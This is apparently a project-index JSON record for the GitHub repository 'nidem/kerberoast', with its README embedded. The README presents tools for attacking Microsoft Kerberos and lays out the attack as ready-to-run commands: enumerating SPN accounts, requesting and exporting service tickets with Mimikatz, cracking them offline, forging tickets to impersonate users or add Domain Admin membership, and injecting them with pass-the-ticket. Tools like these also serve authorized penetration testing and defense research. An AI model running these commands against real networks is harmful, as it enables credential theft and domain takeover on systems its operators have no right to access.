{"id":13537671,"url":"https://github.com/nidem/kerberoast","last_synced_at":"2025-04-02T04:31:17.064Z","repository":{"id":21035981,"uuid":"24332547","full_name":"nidem/kerberoast","owner":"nidem","description":null,"archived":false,"fork":false,"pushed_at":"2022-12-31T17:17:28.000Z","size":71,"stargazers_count":1392,"open_issues_count":0,"forks_count":314,"subscribers_count":67,"default_branch":"master","last_synced_at":"2024-11-03T02:33:08.629Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/nidem.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2014-09-22T14:46:49.000Z","updated_at":"2024-10-30T10:10:34.000Z","dependencies_parsed_at":"2023-01-13T21:16:34.474Z","dependency_job_id":null,"html_url":"https://github.com/nidem/kerberoast","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nidem%2Fkerberoast","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nidem%2Fkerberoast/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nidem%2Fkerberoast/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nidem%2Fkerberoast/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nidem","download_url":"https://codeload.github.com/nidem/kerberoast/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":246757184,"owners_count":20828850,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-01T09:01:01.854Z","updated_at":"2025-04-02T04:31:12.039Z","avatar_url":"https://github.com/nidem.png","language":"Python","funding_links":[],"categories":["\u003ca id=\"9eee96404f868f372a6cbc6769ccb7f8\"\u003e\u003c/a\u003e新添加的","Python (1887)","Python","\u003ca id=\"9eee96404f868f372a6cbc6769ccb7f8\"\u003e\u003c/a\u003e工具"],"sub_categories":["\u003ca id=\"31185b925d5152c7469b963809ceb22d\"\u003e\u003c/a\u003e新添加的"],"readme":"kerberoast\n==========\n\nKerberoast is a series of tools for attacking MS Kerberos implementations. Below is a brief overview of what each tool does.\n\nExtract all accounts in use as SPN using built in MS tools\n----------------------------------------------------------\n```\nPS C:\\\u003e setspn -T medin -Q */*\n```\n\nRequest Ticket(s)\n-----------------\nOne ticket:  \n```\nPS C:\\\u003e Add-Type -AssemblyName System.IdentityModel  \nPS C:\\\u003e New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList \"HTTP/web01.medin.local\"  \n```\n\nAll the tickets\n```\nPS C:\\\u003e Add-Type -AssemblyName System.IdentityModel  \nPS C:\\\u003e setspn.exe -T medin.local -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }  \n```\n\nExtract the acquired tickets from ram with Mimikatz\n---------------------------------------------------\n```\nmimikatz # kerberos::list /export\n```\n\nCrack with tgsrepcrack\n----------------------\n```\n./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi\n```\n\nRewrite\n-------\nMake user appear to be a different user  \n```\n./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -w sql.kirbi -u 500  \n```\n\nAdd user to another group (in this case Domain Admin)  \n```\n./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -w sql.kirbi -g 512  \n```\nInject back into RAM with Mimikatz\n----------------------------------\n```\nkerberos::ptt sql.kirbi\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fnidem%2Fkerberoast","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fnidem%2Fkerberoast","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fnidem%2Fkerberoast/lists"}